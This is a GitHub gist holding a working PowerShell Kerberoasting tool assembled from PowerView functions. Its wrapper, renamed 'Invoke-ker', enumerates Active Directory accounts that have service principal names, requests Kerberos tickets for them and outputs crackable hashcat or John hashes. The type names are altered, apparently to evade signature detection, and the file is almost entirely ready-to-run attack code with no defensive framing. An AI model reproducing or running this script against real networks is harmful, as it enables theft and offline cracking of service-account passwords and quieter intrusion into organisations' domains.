Created
December 25, 2020 11:24
-
-
Save sparcflow/c7856332a09353325b9888d2b769ee2e to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function Get-DomainSearcher { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('System.DirectoryServices.DirectorySearcher')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(ValueFromPipeline = $True)] | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('Filter')] | |
[String] | |
$LDAPFilter, | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$Properties, | |
[ValidateNotNullOrEmpty()] | |
[Alias('ADSPath')] | |
[String] | |
$SearchBase, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$SearchBasePrefix, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit = 120, | |
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] | |
[String] | |
$SecurityMasks, | |
[Switch] | |
$Tombstone, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
PROCESS { | |
if ($PSBoundParameters['Domain']) { | |
$TargetDomain = $Domain | |
} | |
else { | |
if ($PSBoundParameters['Credential']) { | |
$DomainObject = Get-Domain -Credential $Credential | |
} | |
else { | |
$DomainObject = Get-Domain | |
} | |
$TargetDomain = $DomainObject.Name | |
} | |
if (-not $PSBoundParameters['Server']) { | |
try { | |
if ($DomainObject) { | |
$BindServer = $DomainObject.PdcRoleOwner.Name | |
} | |
elseif ($PSBoundParameters['Credential']) { | |
$BindServer = ((Get-Domain -Credential $Credential).PdcRoleOwner).Name | |
} | |
else { | |
$BindServer = ((Get-Domain).PdcRoleOwner).Name | |
} | |
} | |
catch { | |
throw "[Get-DomainSearcher] Error in retrieving PDC for current domain: $_" | |
} | |
} | |
else { | |
$BindServer = $Server | |
} | |
$SearchString = 'LDAP://' | |
if ($BindServer -and ($BindServer.Trim() -ne '')) { | |
$SearchString += $BindServer | |
if ($TargetDomain) { | |
$SearchString += '/' | |
} | |
} | |
if ($PSBoundParameters['SearchBasePrefix']) { | |
$SearchString += $SearchBasePrefix + ',' | |
} | |
if ($PSBoundParameters['SearchBase']) { | |
if ($SearchBase -Match '^GC://') { | |
$DN = $SearchBase.ToUpper().Trim('/') | |
$SearchString = '' | |
} | |
else { | |
if ($SearchBase -match '^LDAP://') { | |
if ($SearchBase -match "LDAP://.+/.+") { | |
$SearchString = '' | |
$DN = $SearchBase | |
} | |
else { | |
$DN = $SearchBase.SubString(7) | |
} | |
} | |
else { | |
$DN = $SearchBase | |
} | |
} | |
} | |
else { | |
if ($TargetDomain -and ($TargetDomain.Trim() -ne '')) { | |
$DN = "DC=$($TargetDomain.Replace('.', ',DC='))" | |
} | |
} | |
$SearchString += $DN | |
Write-Verbose "[Get-DomainSearcher] search string: $SearchString" | |
if ($Credential -ne [Management.Automation.PSCredential]::Empty) { | |
Write-Verbose "[Get-DomainSearcher] Using alternate credentials for LDAP connection" | |
$DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password) | |
$Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject) | |
} | |
else { | |
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) | |
} | |
$Searcher.PageSize = $ResultPageSize | |
$Searcher.SearchScope = $SearchScope | |
$Searcher.CacheResults = $False | |
$Searcher.ReferralChasing = [System.DirectoryServices.ReferralChasingOption]::All | |
if ($PSBoundParameters['ServerTimeLimit']) { | |
$Searcher.ServerTimeLimit = $ServerTimeLimit | |
} | |
if ($PSBoundParameters['Tombstone']) { | |
$Searcher.Tombstone = $True | |
} | |
if ($PSBoundParameters['LDAPFilter']) { | |
$Searcher.filter = $LDAPFilter | |
} | |
if ($PSBoundParameters['SecurityMasks']) { | |
$Searcher.SecurityMasks = Switch ($SecurityMasks) { | |
'Dacl' { [System.DirectoryServices.SecurityMasks]::Dacl } | |
'Group' { [System.DirectoryServices.SecurityMasks]::Group } | |
'None' { [System.DirectoryServices.SecurityMasks]::None } | |
'Owner' { [System.DirectoryServices.SecurityMasks]::Owner } | |
'Sacl' { [System.DirectoryServices.SecurityMasks]::Sacl } | |
} | |
} | |
if ($PSBoundParameters['Properties']) { | |
$PropertiesToLoad = $Properties| ForEach-Object { $_.Split(',') } | |
$Null = $Searcher.PropertiesToLoad.AddRange(($PropertiesToLoad)) | |
} | |
$Searcher | |
} | |
} | |
function Convert-LDAPProperty { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('System.Management.Automation.PSCustomObject')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Mandatory = $True, ValueFromPipeline = $True)] | |
[ValidateNotNullOrEmpty()] | |
$Properties | |
) | |
$ObjectProperties = @{} | |
$Properties.PropertyNames | ForEach-Object { | |
if ($_ -ne 'adspath') { | |
if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) { | |
$ObjectProperties[$_] = $Properties[$_] | ForEach-Object { (New-Object System.Security.Principal.SecurityIdentifier($_, 0)).Value } | |
} | |
elseif ($_ -eq 'grouptype') { | |
$ObjectProperties[$_] = $Properties[$_][0] -as $GroupTypeEnum | |
} | |
elseif ($_ -eq 'samaccounttype') { | |
$ObjectProperties[$_] = $Properties[$_][0] -as $SamAccountTypeEnum | |
} | |
elseif ($_ -eq 'objectguid') { | |
$ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid | |
} | |
elseif ($_ -eq 'useraccountcontrol') { | |
$ObjectProperties[$_] = $Properties[$_][0] -as $UACEnum | |
} | |
elseif ($_ -eq 'ntsecuritydescriptor') { | |
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 | |
if ($Descriptor.Owner) { | |
$ObjectProperties['Owner'] = $Descriptor.Owner | |
} | |
if ($Descriptor.Group) { | |
$ObjectProperties['Group'] = $Descriptor.Group | |
} | |
if ($Descriptor.DiscretionaryAcl) { | |
$ObjectProperties['DiscretionaryAcl'] = $Descriptor.DiscretionaryAcl | |
} | |
if ($Descriptor.SystemAcl) { | |
$ObjectProperties['SystemAcl'] = $Descriptor.SystemAcl | |
} | |
} | |
elseif ($_ -eq 'accountexpires') { | |
if ($Properties[$_][0] -gt [DateTime]::MaxValue.Ticks) { | |
$ObjectProperties[$_] = "NEVER" | |
} | |
else { | |
$ObjectProperties[$_] = [datetime]::fromfiletime($Properties[$_][0]) | |
} | |
} | |
elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) { | |
if ($Properties[$_][0] -is [System.MarshalByRefObject]) { | |
$Temp = $Properties[$_][0] | |
[Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) | |
[Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) | |
$ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low))) | |
} | |
else { | |
$ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0]))) | |
} | |
} | |
elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) { | |
$Prop = $Properties[$_] | |
try { | |
$Temp = $Prop[$_][0] | |
[Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) | |
[Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) | |
$ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low) | |
} | |
catch { | |
Write-Verbose "[Convert-LDAPProperty] error: $_" | |
$ObjectProperties[$_] = $Prop[$_] | |
} | |
} | |
elseif ($Properties[$_].count -eq 1) { | |
$ObjectProperties[$_] = $Properties[$_][0] | |
} | |
else { | |
$ObjectProperties[$_] = $Properties[$_] | |
} | |
} | |
} | |
try { | |
New-Object -TypeName PSObject -Property $ObjectProperties | |
} | |
catch { | |
Write-Warning "[Convert-LDAPProperty] Error parsing LDAP properties : $_" | |
} | |
} | |
function Get-Domain { | |
[OutputType([System.DirectoryServices.ActiveDirectory.Domain])] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True)] | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
PROCESS { | |
if ($PSBoundParameters['Credential']) { | |
Write-Verbose '[Get-Domain] Using alternate credentials for Get-Domain' | |
if ($PSBoundParameters['Domain']) { | |
$TargetDomain = $Domain | |
} | |
else { | |
$TargetDomain = $Credential.GetNetworkCredential().Domain | |
Write-Verbose "[Get-Domain] Extracted domain '$TargetDomain' from -Credential" | |
} | |
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $TargetDomain, $Credential.UserName, $Credential.GetNetworkCredential().Password) | |
try { | |
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) | |
} | |
catch { | |
Write-Verbose "[Get-Domain] The specified domain '$TargetDomain' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_" | |
} | |
} | |
elseif ($PSBoundParameters['Domain']) { | |
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) | |
try { | |
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) | |
} | |
catch { | |
Write-Verbose "[Get-Domain] The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust : $_" | |
} | |
} | |
else { | |
try { | |
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | |
} | |
catch { | |
Write-Verbose "[Get-Domain] Error retrieving the current domain: $_" | |
} | |
} | |
} | |
} | |
function Get-DomainSPNTicket { | |
[OutputType('PxxxxxView.SPddicket')] | |
[CmdletBinding(DefaultParameterSetName = 'RawSPN')] | |
Param ( | |
[Parameter(Position = 0, ParameterSetName = 'RawSPN', Mandatory = $True, ValueFromPipeline = $True)] | |
[ValidatePattern('.*/.*')] | |
[Alias('ServicePrincipalName')] | |
[String[]] | |
$SPN, | |
[Parameter(Position = 0, ParameterSetName = 'User', Mandatory = $True, ValueFromPipeline = $True)] | |
[ValidateScript({ $_.PSObject.TypeNames[0] -eq 'PowerView.User' })] | |
[Object[]] | |
$User, | |
[ValidateSet('john', 'hashcat')] | |
[Alias('Format')] | |
[String] | |
$OutputFormat = 'hashcat', | |
[ValidateRange(0,10000)] | |
[Int] | |
$Delay = 0, | |
[ValidateRange(0.0, 1.0)] | |
[Double] | |
$Jitter = .3, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
BEGIN { | |
$Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') | |
if ($PSBoundParameters['Credential']) { | |
$LogonToken = Invoke-UserImpersonation -Credential $Credential | |
} | |
} | |
PROCESS { | |
if ($PSBoundParameters['User']) { | |
$TargetObject = $User | |
} | |
else { | |
$TargetObject = $SPN | |
} | |
$RandNo = New-Object System.Random | |
ForEach ($Object in $TargetObject) { | |
if ($PSBoundParameters['User']) { | |
$UserSPN = $Object.ServicePrincipalName | |
$SamAccountName = $Object.SamAccountName | |
$DistinguishedName = $Object.DistinguishedName | |
} | |
else { | |
$UserSPN = $Object | |
$SamAccountName = 'UNKNOWN' | |
$DistinguishedName = 'UNKNOWN' | |
} | |
if ($UserSPN -is [System.DirectoryServices.ResultPropertyValueCollection]) { | |
$UserSPN = $UserSPN[0] | |
} | |
try { | |
$Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN | |
} | |
catch { | |
Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName' : $_" | |
} | |
if ($Ticket) { | |
$TicketByteStream = $Ticket.GetRequest() | |
} | |
if ($TicketByteStream) { | |
$Out = New-Object PSObject | |
$TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-' | |
if($TicketHexStream -match 'a382....3082....A0030201(?<EtypeLen>..)A1.{1,4}.......A282(?<CipherTextLen>....)........(?<DataToEnd>.+)') { | |
$Etype = [Convert]::ToByte( $Matches.EtypeLen, 16 ) | |
$CipherTextLen = [Convert]::ToUInt32($Matches.CipherTextLen, 16)-4 | |
$CipherText = $Matches.DataToEnd.Substring(0,$CipherTextLen*2) | |
if($Matches.DataToEnd.Substring($CipherTextLen*2, 4) -ne 'A482') { | |
Write-Warning 'Error parsing ciphertext for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"' | |
$Hash = $null | |
$Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-','')) | |
} else { | |
$Hash = "$($CipherText.Substring(0,32))`$$($CipherText.Substring(32))" | |
$Out | Add-Member Noteproperty 'TicketByteHexStream' $null | |
} | |
} else { | |
Write-Warning "Unable to parse ticket structure for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq" | |
$Hash = $null | |
$Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-','')) | |
} | |
if($Hash) { | |
if ($OutputFormat -match 'John') { | |
$HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash" | |
} | |
else { | |
if ($DistinguishedName -ne 'UNKNOWN') { | |
$UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' | |
} | |
else { | |
$UserDomain = 'UNKNOWN' | |
} | |
$HashFormat = "`$krb5tgs`$$($Etype)`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash" | |
} | |
$Out | Add-Member Noteproperty 'Hash' $HashFormat | |
} | |
$Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName | |
$Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName | |
$Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName | |
$Out.PSObject.TypeNames.Insert(0, 'PxxxxxView.SPddicket') | |
Write-Output $Out | |
} | |
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) | |
} | |
} | |
END { | |
if ($LogonToken) { | |
Invoke-RevertToSelf -TokenHandle $LogonToken | |
} | |
} | |
} | |
function Get-DomainUser { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('PowerView.User')] | |
[OutputType('PowerView.User.Raw')] | |
[CmdletBinding(DefaultParameterSetName = 'AllowDelegation')] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] | |
[String[]] | |
$Identity, | |
[Switch] | |
$SPN, | |
[Switch] | |
$AdminCount, | |
[Parameter(ParameterSetName = 'AllowDelegation')] | |
[Switch] | |
$AllowDelegation, | |
[Parameter(ParameterSetName = 'DisallowDelegation')] | |
[Switch] | |
$DisallowDelegation, | |
[Switch] | |
$TrustedToAuth, | |
[Alias('KerberosPreauthNotRequired', 'NoPreauth')] | |
[Switch] | |
$PreauthNotRequired, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('Filter')] | |
[String] | |
$LDAPFilter, | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$Properties, | |
[ValidateNotNullOrEmpty()] | |
[Alias('ADSPath')] | |
[String] | |
$SearchBase, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] | |
[String] | |
$SecurityMasks, | |
[Switch] | |
$Tombstone, | |
[Alias('ReturnOne')] | |
[Switch] | |
$FindOne, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty, | |
[Switch] | |
$Raw | |
) | |
<# | |
DynamicParam { | |
$UACValueNames = [Enum]::GetNames($UACEnum) | |
# add in the negations | |
$UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"} | |
# create new dynamic parameter | |
New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array]) | |
} | |
#> | |
BEGIN { | |
$SearcherArguments = @{} | |
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } | |
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } | |
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } | |
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } | |
$UserSearcher = Get-DomainSearcher @SearcherArguments | |
} | |
PROCESS { | |
#bind dynamic parameter to a friendly variable | |
#if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) { | |
# New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters | |
#} | |
if ($UserSearcher) { | |
$IdentityFilter = '' | |
$Filter = '' | |
$Identity | Where-Object {$_} | ForEach-Object { | |
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') | |
if ($IdentityInstance -match '^S-1-') { | |
$IdentityFilter += "(objectsid=$IdentityInstance)" | |
} | |
elseif ($IdentityInstance -match '^CN=') { | |
$IdentityFilter += "(distinguishedname=$IdentityInstance)" | |
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { | |
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname | |
# and rebuild the domain searcher | |
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' | |
Write-Verbose "[Get-DomainUser] Extracted domain '$IdentityDomain' from '$IdentityInstance'" | |
$SearcherArguments['Domain'] = $IdentityDomain | |
$UserSearcher = Get-DomainSearcher @SearcherArguments | |
if (-not $UserSearcher) { | |
Write-Warning "[Get-DomainUser] Unable to retrieve domain searcher for '$IdentityDomain'" | |
} | |
} | |
} | |
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { | |
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' | |
$IdentityFilter += "(objectguid=$GuidByteString)" | |
} | |
elseif ($IdentityInstance.Contains('\')) { | |
$ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical | |
if ($ConvertedIdentityInstance) { | |
$UserDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) | |
$UserName = $IdentityInstance.Split('\')[1] | |
$IdentityFilter += "(samAccountName=$UserName)" | |
$SearcherArguments['Domain'] = $UserDomain | |
Write-Verbose "[Get-DomainUser] Extracted domain '$UserDomain' from '$IdentityInstance'" | |
$UserSearcher = Get-DomainSearcher @SearcherArguments | |
} | |
} | |
else { | |
$IdentityFilter += "(samAccountName=$IdentityInstance)" | |
} | |
} | |
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { | |
$Filter += "(|$IdentityFilter)" | |
} | |
if ($PSBoundParameters['SPN']) { | |
Write-Verbose '[Get-DomainUser] Searching for non-null service principal names' | |
$Filter += '(servicePrincipalName=*)' | |
} | |
if ($PSBoundParameters['AllowDelegation']) { | |
Write-Verbose '[Get-DomainUser] Searching for users who can be delegated' | |
# negation of "Accounts that are sensitive and not trusted for delegation" | |
$Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))' | |
} | |
if ($PSBoundParameters['DisallowDelegation']) { | |
Write-Verbose '[Get-DomainUser] Searching for users who are sensitive and not trusted for delegation' | |
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048574)' | |
} | |
if ($PSBoundParameters['AdminCount']) { | |
Write-Verbose '[Get-DomainUser] Searching for adminCount=1' | |
$Filter += '(admincount=1)' | |
} | |
if ($PSBoundParameters['TrustedToAuth']) { | |
Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals' | |
$Filter += '(msds-allowedtodelegateto=*)' | |
} | |
if ($PSBoundParameters['PreauthNotRequired']) { | |
Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate' | |
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' | |
} | |
if ($PSBoundParameters['LDAPFilter']) { | |
Write-Verbose "[Get-DomainUser] Using additional LDAP filter: $LDAPFilter" | |
$Filter += "$LDAPFilter" | |
} | |
# build the LDAP filter for the dynamic UAC filter value | |
$UACFilter | Where-Object {$_} | ForEach-Object { | |
if ($_ -match 'NOT_.*') { | |
$UACField = $_.Substring(4) | |
$UACValue = [Int]($UACEnum::$UACField) | |
$Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" | |
} | |
else { | |
$UACValue = [Int]($UACEnum::$_) | |
$Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" | |
} | |
} | |
$UserSearcher.filter = "(&(samAccountType=805306368)$Filter)" | |
Write-Verbose "[Get-DomainUser] filter string: $($UserSearcher.filter)" | |
if ($PSBoundParameters['FindOne']) { $Results = $UserSearcher.FindOne() } | |
else { $Results = $UserSearcher.FindAll() } | |
$Results | Where-Object {$_} | ForEach-Object { | |
if ($PSBoundParameters['Raw']) { | |
# return raw result objects | |
$User = $_ | |
$User.PSObject.TypeNames.Insert(0, 'PowerView.User.Raw') | |
} | |
else { | |
$User = Convert-LDAPProperty -Properties $_.Properties | |
$User.PSObject.TypeNames.Insert(0, 'PowerView.User') | |
} | |
$User | |
} | |
if ($Results) { | |
try { $Results.dispose() } | |
catch { | |
Write-Verbose "[Get-DomainUser] Error disposing of the Results object: $_" | |
} | |
} | |
$UserSearcher.dispose() | |
} | |
} | |
} | |
function Invoke-ker { | |
[OutputType('PxxxxxView.SPddicket')] | |
[CmdletBinding()] | |
Param( | |
[ValidateNotNullOrEmpty()] | |
[Alias('Filter')] | |
[String] | |
$LDAPFilter, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[ValidateRange(0,10000)] | |
[Int] | |
$Delay = 0, | |
[ValidateRange(0.0, 1.0)] | |
[Double] | |
$Jitter = .3, | |
[ValidateSet('john', 'hashcat')] | |
[Alias('Format')] | |
[String] | |
$OutputFormat = 'hashcat' | |
) | |
BEGIN { | |
$UserSearcherArguments = @{ | |
'SPN' = $True | |
'Properties' = 'samaccountname,distinguishedname,serviceprincipalname' | |
} | |
if ($PSBoundParameters['LDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $LDAPFilter } | |
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } | |
} | |
PROCESS { | |
if ($PSBoundParameters['Identity']) { $UserSearcherArguments['Identity'] = $Identity } | |
Get-DomainUser @UserSearcherArguments | Get-DomainSPNTicket -Delay $Delay -OutputFormat $OutputFormat -Jitter $Jitter | |
} | |
END { | |
if ($LogonToken) { | |
Invoke-RevertToSelf -TokenHandle $LogonToken | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment